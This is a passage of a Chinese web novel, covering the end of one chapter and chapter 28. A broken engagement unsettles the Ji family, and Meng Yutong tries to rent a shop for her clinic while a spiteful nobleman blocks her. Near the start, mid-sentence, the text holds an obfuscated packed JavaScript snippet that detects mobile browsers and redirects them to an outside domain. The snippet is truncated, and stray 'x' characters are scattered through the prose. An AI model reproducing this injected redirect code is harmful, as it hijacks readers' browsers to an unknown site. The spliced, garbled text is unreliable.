郑辉暗暗啐了一口,强压恶心挤出笑脸,“刘公子,酒多伤身,还是莫要再喝了。” “郑掌柜说得对!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170922|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘思钧突然高喝,重重拍在郑辉肩上,“我就听掌柜的,不喝了!” 郑辉顺势道:“正好公子在这儿,方才阿昌找公子补的那契书,公子不如顺手落个款,省得日后麻烦。” “签!”刘思钧又在他背上狠拍一掌,“拿笔来!” 郑辉被拍得龇牙咧嘴,脸上青一阵白一阵,费力将他推开。 阿昌拿着拟好的两份契书疾步而入,在刘思钧面前将两份契书摊开,又恭恭敬敬将笔递过去。 刘思钧抓过笔,醉眼迷蒙地摆手,“这……这补签新的自然没……没问题,可那旧契……得拿出来当面烧了才作数!” 郑辉连连点头,耐着心哄他,“刘公子说得是,只是这旧的不是丟了吗?咱们直接签这新的也是一样!” 刘思钧闻言将手中的笔掷出去老远,摇头耍赖:“旧的不烧,我就不签这新契。” 阿昌偷偷看郑辉一眼,见他咬牙点头,于是忙不迭又跑了出去寻那旧契。 不多时,他便拿着旧契跑了进来。 两人当着刘思钧的面烧了旧契。 “这下可以签了吧?”郑辉这一晚上被磨的没了脾气。 刘思钧点头如捣蒜,“签!签!” 他抓起新契,笔还未落—— “哇——!” 秽物如喷泉般倾泻而出,瞬间淹了桌案。 近在咫尺的郑辉与阿昌首当其冲,被溅了满身污秽。 “竖子欺人太甚!”郑辉暴跳如雷,指着刘思钧破口大骂。 看了半天热闹的崔二成和梅三这才慢悠悠上前拉他,“掌柜的莫要同我们少当家的一般见识,少东家醉后便是这般腌臜德行!您二位先回,待明日他酒醒,我们押他备好新契,亲自登门赔罪!” 眼看那刘思钧已经歪在榻上不省人事了,再多痴缠也无意义。 郑辉看着自己狼藉的衣袍,气得浑身发抖,恨恨一跺脚,拂袖而去。 阿昌也灰溜溜跟上。 待两人离开,屋中忽然传来三人洪钟一般的笑声…… 28-30 第28章 第28章人既无心,不必强求。…… 松涛院里此时难得聚齐了人,屋中却安静非常。 纪昀那句“为何另选?”的问话,悬在半空,迟迟无人应答。 李婉倚在紫檀嵌螺钿的圈椅里,垂着眼,指尖无意识地摩挲着腕间冰凉的羊脂玉镯。 她心乱如麻。 傍晚,纪宏业从宫中为太子讲学完归家,本欲携她与明儿来松涛院。 谁知听说孟家老夫人来了,他们只得等着。这一等,便是两个时辰。 等老夫人离开,他们踏进松涛院,李婉一眼就黄花梨束腰炕几上,那枚孤零零躺着的碧玉双鱼佩。 那玉佩水色极好,雕工灵动,双鱼交缠本是百年好合之兆,是她从自己嫁妆中选来给孟家做定亲信物的。 玉佩此刻竟然又被送回了纪府,她心中不免突突跳起来。 这才知晓,那位老夫人竟然是来退婚的! 若在从前,这门亲事成与不成,老太爷定夺便是,她并不上心。 可这次不同……李婉阖上眼帘,想起前几日她做的那个梦来。 前几日临安的那场漂泊大雨一落,她罕见地很快入睡,做了个长长的梦。 梦里,她失去昭儿后整日昏沉,枯坐佛前,青灯古卷为伴,尘世喧嚣尽绝于耳。 老太爷定下纪昀与孟家女的婚约,夫君也曾问及她的意思,她没什么意见,唯愿多誊几卷《地藏经》,为地下之人祈些渺茫的福荫。 纪昀与孟玉桐成婚后,十有八九的光阴都耗在了医官院。 纵是寥寥数面,她也瞧得分明,那夫妻二人之间,淡得如同陌路之水。 孟玉桐倒是将偌大一个纪府打理得井井有条,大小庶务操持得滴水不漏。她乐得清闲,索性在自个儿院里辟了间静室充作佛堂,从此诸事不问。 她待明儿亦是极好,嘘寒问暖,甚至亲自研习药膳,为他调理先天不足的羸弱脾胃。 她终日闭门谢客,连孟玉桐的晨昏定省也一并免了。两人随在同一屋檐下,却鲜有交集。 第一次真正看清那孩子的心性,是在她嫁入纪府的头一年。 那年隆冬,天降瑞雪,鹅毛纷扬数日不歇,积雪深可没胫,天地间一片素缟。 她供奉在佛前的一枚玉佩,竟不翼而飞。阖府翻了个底朝天,亦寻不见踪影。 她忧思成疾,就此缠绵病榻。 白日x里孟玉桐亲尝汤药,寸步不离地服侍,到了晚上,便自己偷偷去雪地里替她寻玉佩。 李婉不敢想,那样单薄的身子,是如何在刺骨的寒夜、在没过小腿的积雪里一寸寸摸索寻找的。 更不敢想,她究竟找了多久。 苍天垂怜,竟真让她寻着了! 玉佩失而复得,她的沉疴渐愈。 孟玉桐却因寒气侵骨,高烧了三日三夜,几度呓语,险些落下了咳喘的病根。 那一刻,李婉心中酸涩难当,才真正明白:这是个心性纯善到近乎痴傻的姑娘,是个水晶琉璃般剔透的好姑娘。 可惜纪家那时却不太好,当年发生的那件事,成了所有人的心结。 老太爷将家族中的千钧期望换了个地方,待人待事愈发冷硬严苛。 夫君一夜间鬓染霜华,仿佛老了十载。 而她,则更深地沉溺于经卷梵呗,不问世事。 至于纪昀……那个也曾鲜衣怒马、意气风发的孩子从此沉默寡言,彻底转了性子。 像块没有热气的寒冰,像颗没有喜怒的石头。 孟玉桐的性子,温婉坚韧,恰似涓涓细流。她原以为,纵是顽石,也终有被水滴穿的一日。 可梦境的最后,并未得此圆满。 她仿佛看见了满地的鲜血,好像是一场大病,又或是别的什么……总之那个刚满双十年华、如初绽芍药般鲜活的好姑娘,在纪府香消玉殒。 李婉抬手,用微凉的指尖重重按了按突突直跳的额心。 中间的因果,梦魇模糊,她想不起来。 她只知道,纪家对她,实在亏欠良多! 她已打定主意,此番定要顺水推舟,迎玉桐入门,从此细心呵护,加倍补偿,绝不让梦中那般景象再发生。 可谁能想到好端端的,这婚事怎会横生变故? 她忽然想起前几日她办寿时,孟玉桐在纪府的种种表现。 她眼神沉静,举止有度,与记忆中梦里温软的模样判若两人。 比之从前大不一样了。 最重要的是,她望向纪昀的眼,冷冰冰的,那双曾盛满倾慕的眸子里,没有半分情意。 李婉的心一点点沉下去。 一个可怕的念头不受控制地冒了出来:难不成……玉桐也做了这样的梦……? 李婉倏然从紫檀圈椅上起身,双手在袖摆下紧紧交握,面上忧色如潮,惊虑暗生。 若真是如此,只怕这事情没有转圜的余地了。 她定然是死了心,断了念,这才决定与纪家撇清干系,退掉婚事不再来往的。 可她偏偏想不起中间究竟发生了什么。若她知道,若她知道……她便能想办法回转,事情应当不至于此…… “母亲?”纪昀眉峰微蹙,声音里带着几分疑惑。 望着儿子那张冰山似的冷脸,李婉心头一窒,涌到嘴边的话又咽了回去。 罢了罢了,事已至此,何必强人所难呢。 可指尖紧紧交握着,终究难平心中郁气。 她这几日用着玉桐送的香枕,难得睡了几夜安稳觉,她是打心眼儿里盼着这门亲事能成,盼着两个孩子能好好的。 如今都不成了……都不成了! 想到这些,她再忍不住心中的郁愤,冲着一边站着的纪昀脱口道:“她是不错,可我纪家倒显得亏心了。” 纪昀眸色微动,似有不解,“何事亏心?” 纪宏业见状上前揽过李婉,扶着她坐下,叹了口气:“姻缘一事,的确强求不得。” 他望着妻子,心中暗自纳罕,先前定下这门婚事时,她虽无异议却也谈不上热络。 怎的临到退婚,反倒这般上心?许是……还没来得及消化这变故吧。 纪昀望着父母神色,眼中疑惑更甚。 纪明见状从祖父案前捧过那块双鱼玉佩,快步走到纪昀跟前,也学着父亲的样子叹了口气,又摇摇头道:“兄长,你还是醒醒吧,人家早把信物退回来了。咱们两家的婚事啊——”他‘啪’一声将两只手合起,又猛地摊开,溜圆的眼睛里满是恨铁不成钢,“吹了。” 纪昀心头掠过一丝异样,眉心一跳,“听说孟家老夫人方才来了府里,是来退婚的?” 直到此刻,他才终于厘清前因后果。 可……孟家为何要退婚?退婚一事与孟玉桐报名医籍考核一事是否有关联?这门婚事,是孟家老夫人的意思,还是她自己的主意? 心头一时闪过许多疑惑,却又被他迅速压下,面上很快恢复了惯常的平静。 “亲事本就是结两家之好,”他语气淡淡,仿佛在说一件寻常事,“既然孟家要退,那便退了就是。” 这话入耳,李婉顿时沉了脸,从圈椅上起身时带起一阵风,似是瞪了他一眼,紧接着快步从屋中走了。 纪宏业忙向纪老太爷告罪,也追了出去。 纪怀瑾看着纪昀,缓缓开口:“我与孟家老太太是故旧之交,她今日主动退亲,也是存了为我纪家考量打算的心思。 “她是怕自家门第与纪家差得太大,日后耽误你的前程。这份心意,我记下了。 “日后我们与孟家虽做不成姻亲,但她家偌大的生意,若我们能帮忙的,便帮衬着些,也算是全她一份好意。” 纪昀垂眸颔首,声音恭谨:“知道了。” 纪怀瑾又细细交待了几句,见天色已晚,便让兄弟二人回去休息。 出了正厅,松涛院的夜风带着凉意扑面而来。院中古松苍劲,枝干如虬龙般伸向夜空,月光透过叶隙洒下,一地斑驳暗影,倒比别处更添了几分清寒。 纪明慢吞吞跟在后面,踢着脚下的石子:“兄长,多可惜啊!上回孟姐姐来咱们家我就觉着她对你的态度有些奇怪。你是不是做什么事情惹她生气了?” 纪昀脚步一顿。月光穿过松枝,在他眉骨上投下深深浅浅的阴影,风动树摇,光影在他眸中明明灭灭,晦暗难辨。 他望向纪明,眼神里带着几分说不清道不明的晦暗情绪。 “纪明,”他声音冷淡,与他面上的表情一样,“我与她,只见过三面。” 若不是因为有这道婚约,两人不过是一对陌路人,谈何惹她生气? “阿兄!”纪明扁着嘴,眼圈都红了,“可我就是喜欢这个嫂子啊!” 纪昀不解:“就因为她救过你?” 他飞快点点头,又摇头,认真道:“不全是,我每次见到孟姐姐,就觉得很亲切。好像……好像我们很久之前就认识一样。” 纪昀沉默片刻,夜色中他的声音听不出情绪,只道:“人既无心,不必强求。” 他将纪明送回住处,自己也转身回房。 窗外明月高悬,风吹院角的矮草,沙沙作响,如细语,如叹息。 他躺在床榻上,辗转反侧,一夜无眠。 * 微雨如酥,密密斜织。 青石板路漾着水光,早市的炊烟混着湿润的水汽袅袅升起,绘就一副临安御街清晨街景。 一辆青帷小车驶过,停在新安桥畔一间闭门半年的旧绸缎铺子前。 孟玉桐扶着白芷的手下了车,收了油纸伞,主仆二人并肩挤在窄窄的檐下避雨。 孟玉桐静静环顾四周,只见沿街铺面鳞次栉比,幌子在微雨中轻晃,行人步履匆匆。 目光掠过不远处新安桥下的河道,流水潺潺,岸边草木葳蕤。倒是个花木扶疏、又不乏烟火气的地方。 主仆二人等了约莫两盏茶的功夫,才见孙胜撑着油布伞,自新安桥上步履匆匆地赶来。 他身形精瘦利落,穿着靛蓝细布短褐,千层底布鞋踩在湿漉漉的石板上,溅起细小水花。 那双细长的眼睛此刻因雨水微眯着,远远望见檐下二人,嘴角立刻堆叠起一道热络的笑,隔着雨帘便扬声招呼:“哎呦,姑娘来得可真早!恕罪恕罪,让您久等了!” 他收了伞,抖落水珠,忙不迭地从袖中摸出一把黄铜钥匙,利落地开了铺子那扇略显沉重的木门,侧身将二人让了进去。 屋内空荡,积着薄尘,空气中残留着些许老缎的陈香气。 孙胜手脚麻利地从墙角搬来两张榆木方凳,简单擦拭了下,“二位姑娘,委屈二位暂且坐坐。” 他抬起袖子,胡乱擦了擦脸上和额发沾染的雨水。 孟玉桐依言坐下,静静看着孙胜的动作,心中却已察觉异样。 孙胜此人办事向来爽利,讲究效率。今日不仅来迟,进屋后也未见他取出《赁批式》文书、印泥等物,更不见房东踪影。 她三日前与他约好,今日需房东、租客、牙人三方在场签下契书,再去官府备案,故而来得早,便是怕横生枝节耽误正事。 她抬眸,目光落x在孙胜脸上,声音温和,却带着明白的探询:“孙先生,怎不见这铺子的东家前来?” 孙胜脸上那热络的笑容倏地一僵,细长的眼睛飞快地眨动了几下,显出几分心虚与为难。 他搓了搓手,从怀里掏出一个沉甸甸的素面木匣,双手捧着递到孟玉桐面前:“孟姑娘,实在……实在是对不住您了!今日正是想跟您商量这事。唉,这铺子的房东……他不租了!” 他觑着孟玉桐的脸色,语速加快,“昨日他竟一声不吭,将这铺子转手卖与他人!我也是刚得了信儿!这定钱,我原封不动退还给您,再额外补偿您一些辛苦钱。只是……咱们先前谈妥的那些,怕是都不作数了。” “怎能如此!”白芷抢白道,“说定了的事,岂能说反悔就反悔?买下铺子的是何人?难道连个先来后到的道理都不懂么?” 孙胜连连作揖,赔着十二分的笑脸:“姑娘息怒!千错万错,都是小的没把事情办牢靠,耽误了姑娘的大事!孙某在此给姑娘磕头赔罪都不为过!往后姑娘在临安城若有用得着孙某的地方,赴汤蹈火,孙某绝无二话!” 他话锋一转,带着明显的劝退之意,“只是木已成舟,这铺子……姑娘还是莫要再耽搁心思了,抓紧时间另寻别处才是正经。” 这绸缎庄关门歇业少说也有小半年光景,一直无人问津。 她三日前刚与孙胜敲定,转眼间铺子就被卖了? 孟玉桐指尖在膝上轻轻一点,这“巧合”,未免太过刻意了些。 她抬眸,直直看向弓着腰、一脸忐忑等待回应的孙胜:“孙先生,烦请告知,买下这铺子的是何方神圣?又预备在此处经营何种买卖?” 语气虽柔,眼里却带着审视,瞧着颇有一番气势。 孙胜心头一跳,眼前立时浮现昨日那骇人的一幕: 昨日一顶装饰华贵、气派非凡的八抬大轿,径直停在他家那逼仄的门外。轿帘未掀,里面的人二话不说,只伸出一只戴着硕大翡翠扳指的手,将一张五千两的龙头银票“啪”地一声甩在他脚边,开口便要买这铺子。 他当时又惊又懵,想起已与孟姑娘有约在先,忍着肉痛婉拒了。 谁知那轿中之人绝非善类,光天化日之下,竟指使两名虎背熊腰的侍卫将他堵在暗巷之中,言语间尽是威胁,大有他不应允便叫他血溅当场的架势。 这临安城水深王八多,他一个小小的牙人,哪敢招惹这等权贵? 孙胜额角渗出细汗,慌忙避开孟玉桐的目光,嗫嚅道:“这……姑娘您就莫要为难小的了。小的……小的也是身不由己啊!” 他犹豫再三,终究还是压低了声音,带着几分提点与惧意,“小的多嘴一句,姑娘您最近可是……得罪了什么了不得的人物?” 那人不仅截下这铺子,还撂下狠话,勒令他绝不可再接孟玉桐的生意!这哪里是单单冲着铺子来的?分明是冲着眼前这位如花似玉的姑娘来的! 孟玉桐一个未出阁的姑娘,能得罪什么人? 孟玉桐闻言,长睫低垂,掩去眸中思绪翻涌。 她一个深闺女子,能得罪何人? 细细思量,近些时日唯一能称得上“得罪”的,便是八珍坊那桩事。 莫非是她插手了刘思钧他们的麻烦,惹得郑掌柜记恨,进而报复? 可郑掌柜一个商人,纵有家底,又岂能如此豪横,一掷数千两买下御街上的铺面? 思绪翻飞间,一张终日扬着眉眼,不将任何人放在眼中的脸浮现在脑海里——李璟。 是了,真正想坏她事的,除了这位仗着家世、行事肆无忌惮的纨绔,还能有谁? 想明白了其中关窍,孟玉桐便知此刻与孙胜争执亦是徒劳,寻铺子的事,只怕要想办法了。 她神色未变,示意白芷收下那匣银子:“有劳孙先生费心,也多谢先生提点。不过此事终究是先生坏了规矩,出来做生意的,信誉大过天。” “姑娘,这间铺子我实在是做不了主了,姑娘若还有别的需求,我能办到的定当相助。” “既然此间铺子租不成了,我今日也不能空手而归,先生不如再同我说几间合适的铺子,最好是东家急出的,后头的事也不必先生再管,我们自己去看,如此应当不算为难你。” 孙胜眼珠子子左右转了转,答应下来,“此事的确是我的错,我同姑娘推荐几家铺子,姑娘一会儿自去瞧瞧。” 他不假思索,嘴皮子一开便念了四五家铺子的位置,孟玉桐细细听着,在脑中记下。 事毕,她微微颔首,“多谢先生相告。” 孙胜自是不大好意思,忙道:“哪里哪里,姑娘慢走。” 孟玉桐颔首,与白芷离开了铺子,登上马车。 车厢内,白芷还是有些气恼:“哪有这样做生意的,分明说好的事,说反悔就反悔。” 见孟玉桐凝眉不语,仿佛心事重重,她低声问道:“姑娘,那咱们现在是去他方才说的那几间铺子吗?” “先去融和坊,寻别的牙行问问。” 她得先看看,那李璟究竟给她断了哪些后路,才好谋算后续。 马车一路前行,孟玉桐主仆在融和坊百业牙侩堂一带接连询问了几家牙行。 那些牙人一见孟玉桐,反应大同小异:或眼神闪烁推说暂无合适铺面,或假意翻查簿册后连连摇头,更有甚者干脆寻了借口避而不见……推脱之意,昭然若揭。 两人果然无功而返。 孟玉桐坐回微微摇晃的车厢里,望着窗外绵绵雨丝。 看来李璟的气性颇大。 御街主街上的铺子怕是指望不上了。只怕她若是去孙胜说的那几间铺子,李璟也会马上得知消息并加以阻拦。 或许……坊间偏巷,反是出路。那些地段虽不及御街显赫,然医馆所求,本在清净安然,倒也算不得坏事。 正思量间,望仙桥东头那桃花街的景致,倏然跃入脑海。 那桃花街因桥畔百年桃树得名,市井繁华,人流如织。更兼临近新开门,城内城外往来称便。 若有城外乡民偶染小恙,自新开门入城,于桃花街寻医问药,正是顺理成章之事。 偏生蹊跷,这偌大一条街巷,竟无一家医馆坐堂。 最近一处济世堂,尚需穿过望仙桥,往太庙方向去——那还是工部侍郎家的产业,诊金不菲,往来皆贵胄。 寻常百姓若求医,更得穿过朝天门北行,至南瓦子附近的一文医馆,或惠民药局前的回春馆,路途辗转,颇费周章。 念及此,孟玉桐心中一动,侧首看向白芷,眸底掠过一丝亮色:“白芷,前次在桃花街,你曾言那聚福客栈的新东家,似对营生不甚上心?” 她忆起那间二层高、开阔敞亮的客栈。门庭冷落,显见并非赚钱营生,若能找到那位东家租下,正可解燃眉之急。 白芷正忧心忡忡地望着窗外,闻言连忙回神:“是了,姑娘!” 她转过头来,倾身向前,语气鲜活,“奴婢往桃花街采买时,听桥头庆来饭馆的孙大娘念叨。说换了新东家后,那客栈十天半月也未必见个客人落脚,连带着她家饭馆的食客都稀落了不少,孙大娘愁得直叹气呢。” 她模仿着孙大娘的语气,小脸微皱,甚是生动。 “哦?孙大娘可曾提及,那新东家是何方神圣?” 白芷凝神细想片刻,轻轻摇头,“她似乎也未曾见过真人。不过那日殷勤揽客的伙计定然知晓。姑娘若想打听,咱们去问问他便是。” “姑娘怎么突然问起这个,”她说着,忽地睁大了眼睛,带着几分恍然与急切看向自家小姐:“姑娘!您……您莫不是想将那聚福客栈赁下来?” 孟玉桐并未直接作答,只唇角微扬,抬手轻叩车厢壁,吩咐道:“转道,往桃花街去。” 随即,她撩起车帘一角。 窗外,雨势已歇,铅灰色的云团缝隙间漏下缕缕淡金天光,映在她沉静的眸子里。 她语声温润:“雨霁云开,天光复明,倒是个好兆头。” 轻轻一句,似乎带着安抚人心的力量。 “姑娘的心境,奴婢真是望尘莫及。” 白芷望着孟玉桐淡然的侧脸,忍不住又叹了口气,“奴婢这颗心总是悬着,就怕找不到合适的铺子。您说,那几家牙行是怎么了?如今想租间像样的铺面,就真这么难么?” 孟玉桐伸手,轻轻覆上白芷的手背,掌心温暖,语气笃定:“万事开头难。等咱们的医馆立住了,一切都会x好起来的。” “嗯。”白芷感受到手背传来的暖意,心头稍安,低低应了一声。 马车穿过御街南段,行至朝天门,左转上了望仙桥,驶入桃花街,停在聚福客栈门前。 桥畔那株百年老桃树,经了一场暮春雨,花朵飘飘扬扬落下大半。 树下,吴林闭目盘坐于他那算命的简摊旁,神情淡漠,一派“太公垂钓,静候愿者”的气度。 时近正午,云销雨霁,天色澄明。 桃花街上人声渐起,饭食香气四溢。 孟玉桐扶着白芷的手下了马车,主仆二人径直朝聚福客栈走去。 客栈大堂内,店小二吴明刚囫囵用完午饭,正靠着柜台,懒洋洋地伸着腰,眼皮沉重得直往下耷拉。 门口光影一暗,传来脚步声响。 他一个激灵,猛地睁开眼,睡意顿消,忙不迭地弹衣整袖,堆起十二分的殷勤笑容迎上前: “哎哟,二位贵客光临!是打尖还是住店哪?” 他飞快地打量来人,目光落在当先那位小姐身上:一身水蓝色的缎面襦裙,面如海棠,眸似秋星,腰畔悬一枚质地上佳的白玉葫芦,虽衣饰不显张扬,通身气度皎然清贵,引人侧目。 吴明心头一跳,这般的品貌气韵,应当是有钱人。 他脸上的笑容更热切了些。 孟玉桐左右环视一圈,见大堂中只有他一人,便便开门见山问道:“烦请小哥通传一声,我想见见贵店东家,不知是否方便?” “姑娘找我们东家何事?同我说就好。”吴明脸上堆着笑,眼神却带着探究。 孟玉桐眸光清亮坦诚,直视着他:“是有桩要紧生意想同贵东家面谈,不知小哥可否代为引荐?” 白芷会意,立刻从怀中取出一枚小巧的银锞子,利落地塞进吴明掌心:“劳烦小哥跑一趟。” 吴明掂了掂银子,眉开眼笑,“姑娘客气了,您二位稍坐片刻!” 他麻利地将银子揣入怀中,转身便快步出了客栈大门。 只见他下了台阶,径直走到那株桃花树下,竟蹲在了闭目养神的吴林跟前。 他伸手,毫不客气地扯了扯吴林那几根稀疏的山羊胡:“老爷子,醒醒!大东家,有人找您谈生意呢!” 说着,抬手朝客栈大堂里一指。 吴林被扯得“哎哟”一声,眯缝着眼,没好气地抬手就给了吴明肩膀一掌:“小猢狲!没大没小!” 虽是斥责,语气里却无甚怒意。 吴明嘿嘿一笑,顺势搀起自家祖父,一老一少慢悠悠地踱回聚福客栈。 见吴明竟引着那算命先生进来,孟玉桐与白芷交换了一个眼神。 孟玉桐语带几分惊讶:“莫非这聚福客栈神秘的新东家,竟是吴先生您?” 吴林捋了捋方才被扯乱的胡须,不慌不忙地走到大堂中央一张榆木八仙桌旁,熟练地拉开一条长条凳,大马金刀地坐了上去。 他从宽大的袖袋里摸出几枚磨得油光发亮的铜钱和一小块古朴的龟甲,随意丢到桌上,这才抬眼看向孟玉桐,眼中带着一丝兴味:“是也。不知姑娘寻老夫何事?可是想再算上一卦前程?” 他刻意拖长了调子。 吴明在他身后夸张地翻了个白眼,忍不住插嘴道:“老爷子!我都说了,人家是找聚福客栈的东家谈生意的!您能不能先把您那吃饭的家伙什儿收一收?” 孟玉桐瞧着这祖孙二人熟稔又不同寻常的互动,好奇问道:“恕我冒昧,不知二位是……” 吴明展臂,亲昵地半挂在吴林略显佝偻的肩上,笑嘻嘻道:“这是我祖父!” 吴林却像被烫着一般,‘腾’地站起身,嫌弃地拍开孙子的手,几步挪到八仙桌最远的对角坐下,皱眉道:“一身臭汗味,离我远点!没个正形!” 白芷轻笑,这祖孙二人着实有趣:一个身形精瘦,须发皆白,面皮褶皱却精神矍铄,尤其一双眼睛透着狡黠精光;另一个则手脚修长,身量已比祖父高出一头,满身少年人的机灵跳脱。 孟玉桐含笑走近,在吴林方才坐下的位置对面落座,温言道:“先生经营着这样一间敞阔客栈,仍不忘在桥畔树下操持本业,这份敬业乐业之心,着实令人钦佩。” “嗨!”吴明抢先替祖父答道,他倚着柜台,语气直白,“姑娘快别抬举了。您也瞧见了,咱这客栈看着气派,实则冷清得很,一天到晚也见不着几个铜板进账。老爷子在树下摆摊算命,那是给咱爷俩挣点嚼谷,贴补家用呢!” 他十四五岁的年纪,说起生计倒颇为老成。 孟玉桐心中了然,这正是切入主题的良机。她坐直了身子,目光诚恳地看向吴林,声音清越而沉稳: “吴先生,实不相瞒,我今日前来,是想租下您这间聚福客栈,改作医馆之用。” 吴林捻着胡须,眼皮微抬,“哦?这客栈入我手也有三个年头了,你倒是第一个与我谈生意的。不妨说来听听,这客栈好端端的,我为何要租给你开医馆啊。” 她见吴林并未立刻拒绝,便有条不紊地继续道: “其中缘由,我同您细细道来。 “其一,观客栈现状,确如小哥所言,生意清淡,维持不易。与其空耗,不如收取稳定租金,旱涝保收,岂不省心? “其二,我欲开设之医馆,非寻常药铺。正全力筹备,以期能入‘官册’,得朝廷医官院之署理。一旦成功,便是归官家管辖的正规医馆,信誉、客流皆有保障,绝非朝开夕闭之所。租期可立契为凭,租金亦可按年预付,先生尽可安心。 其三,“她目光转向一旁听得入神的吴明,“小哥聪明伶俐,口齿清晰,是块好材料。客栈跑堂,终究是埋没了。若医馆开张,正缺一位通晓街巷人情、善于迎来送往的得力伙计。 “小哥若愿意,可入伙医馆,非为雇佣,而是作一小份股。不仅每月有份例工钱,年底更能按股分红。学些药理,待人接物,于他日后前程自有好处,岂不胜过在此间蹉跎? 其四,“她复又看向吴林,语气带着关切,“先生年事渐高,身体康泰最是紧要。医馆近在咫尺,若有个头痛脑热,问诊取药,方便快捷,岂非一大善缘?” 孟玉桐条分缕析,句句点在要害,既说清了利害,又描绘了前景,吴明听得两眼放光。 医馆合伙人!这可比跑堂伙计体面多了! 虽然对那“官册”之事将信将疑,但孟玉桐最后两点关于他和祖父的话,却实实在在地戳中了他心窝。 “祖父,”吴明难得正色,忍不住凑到吴林身边,“我觉得姑娘说得在理。您这把年纪了,守着个空客栈图啥?租出去多省心!还能收租金!再说了,”他压低声音,带着点狡黠,“真要开了医馆,就在家门口,您有个不舒服,连桥都不用过,多方便啊!” 省钱又省事,这才是他心中最实在的好处。 吴林依旧拨弄着那几枚铜钱,眉头微锁,陷入了沉思。 孟玉桐所言,句句切中他心中盘算。 客栈生意确实惨淡,租金稳定确有其利,孙子的前程更是他的一块心病……只是…… 他抬起眼,目光锐利地看向孟玉桐,问出了最关键的顾虑:“姑娘志向不小。可开医馆不是小事,那是攥着人命呢。不知姑娘的医术,是跟着哪位名师学的?” “万一开张没多久,因医术不精而门庭冷落,乃至关门大吉,”他捻着手里那枚铜钱,声音沉了沉,“我这铺面,到时候找谁去?租契捏在手里,也怕人跑楼空啊!” 吴林果然是老江湖,想得比他孙子周全多了。 不过他的担忧,孟玉桐早有应对之策。 她抬眼,仔细看了看吴林的面色。见他气色尚可,但眼底浮着淡淡的青黑,印堂处隐隐发暗,嘴唇颜色也偏淡。她心里有了底,语气沉稳地开口: “先生的顾虑,在情在理。不过,先生近来是不是夜间多梦盗汗,易被惊醒,且醒后心悸难安,久久方能再眠?” 吴明一听,猛地一拍大腿:“嘿!真叫姑娘说准了!老爷子这毛病闹了好些年啦,就没睡过几个囫囵觉!” 吴林狐疑地瞅了孟玉桐一眼,心里嘀咕:该不是瞎猫碰上死耗子,让她蒙着了? 孟玉桐看他神色,猜到他心思,接着又说:“不仅如此,先生是否常感胸闷气短,尤以晨起或劳累后为甚,偶有心悸之感?” 话音刚落,吴林捻着铜钱的手指一下子停住了,眼里闪过明显的惊讶。 这些细微的不适,连他天天在跟前的x孙子都没留意过,她竟然一口就说中了? 他之前给这丫头算过卦,卦象是不错,前程看着亮堂,他没瞎说。 可今天才是头一回亲眼见识她的本事。 看来这姑娘,不是空口说白话,是真有点能耐。 他脸上的疑虑,顿时消减了不少。 要是这样……她刚才提的事儿,倒也不是不能琢磨琢磨。 孟玉桐神色平静,对吴明道:“劳烦取纸笔来。” 等吴明飞快拿来纸笔,她便提笔蘸墨,在纸上写下几味药名和分量,字迹清秀有力。她把药方递给吴林: “这方子叫‘安神定志汤’。先生照方抓药,三碗水煎成一碗,每晚睡前温热服下。不出三天,您这睡不好、心慌盗汗的毛病,应该就能见着好转。先生不妨亲自试试药效。”她略一停顿,站起身来:“这事不急。先生可以慢慢考虑,或者等这药见效了,再让人到孟府递个话。到时候,我再来跟先生细谈铺面的事,如何?” 吴明一把接过药方,凑在眼前仔细看了看,脸上仍带着几分将信将疑,但动作却麻利:“我这就去回春堂抓药,老爷子,您等着!” 说罢便风风火火地冲了出去。 话说到这份上,吴林不再说别的,点头应了。 孟玉桐与吴林告辞,带着白芷登上马车。 “姑娘,咱们现在回去吗?” 孟玉桐垂眸思索片刻,随即摇摇头,“去方才孙胜说的那几家铺子。” 白芷不解:“可咱们不是已经定下聚福客栈了吗?” 有了孙胜这一次的反悔,孟玉桐不得不慎之又慎。官册报名之期就在五月,她没有那么多三日可以浪费,聚福客栈她必须要定下。 “此事尚未落定。” 她如今要做的便是混淆视听,落定此事。 车轮滚动往前,她又一次撩起车帘回望。只见望仙桥下,碧波轻漾,倒映着雨后洗练如新的晴空。 桥畔那株老桃,虽繁花零落泰半,枝头却已悄然萌出点点新绿,在澄澈的天光下焕发着勃勃生机。 正如她此刻的心境。 马车载着主仆二人,平稳地往前驶去。 * 暮色渐沉,荣亲王府书房内,兽首铜灯已次第燃起。 昏黄的光晕将紫檀木书案与博古架的影子拉得斜长,空气里浮动着沉水香气息。 郑辉垂手躬身,立在书案前,小心翼翼地向歪在锦榻上的李璟禀报。 “回世子爷,”郑辉的声音带着惯有的谄媚与一丝紧张,“秦州来的那伙人,脚程忒快,咱们的人没……没拦住。” 他偷眼觑着李璟的神色,见他只是懒洋洋地撩了下眼皮,没别的动作,便继续道:“小的按您的吩咐,已同孙胜还有御街那几家大牙行都打过招呼了。那孟氏女,”他刻意加重了语气,“今日在牙行碰了一鼻子灰,灰溜溜地从御街跑了,定是没赁着铺子。” “还有,”他咽了口唾沫,补充道,“小的使人盯着,见她离开御街后,去了桃花街,进了一家……呃,一家叫‘聚福客栈’的铺面,瞧着……甚是破败冷清。” 郑辉一桩桩说完,屏息凝神,目光紧紧锁在李璟脸上。 只见李璟先是眉梢微挑,似有得色,旋即那舒展的眉头又倏然拧起,形成一个不悦的川字。 郑辉的心也跟着那眉头的起伏,上上下下。 “世子爷,”他试探着问,“可……可有什么不妥?” “那个聚……”李璟不耐地抬起食指,在空中虚点了几下,显得有点不耐烦。 “聚福客栈!”郑辉连忙接口。 “对,聚福客栈,”李璟先是顺口应了,后又一凛,“老子管他什么客栈!你只管告诉我,那客栈东家是谁?” 郑辉擦擦汗,开口道:“吴……明。” 他穿着软缎便鞋的脚随意地往榻边一座描金珐琅香炉上一扫——‘哐啷’一声,香炉滚落在地,香灰撒了一片。 他也不看,只烦躁地提高嗓门: “无名?!”他瞪向郑辉,“你消遣小爷我呢?!哪有人叫这名儿!” 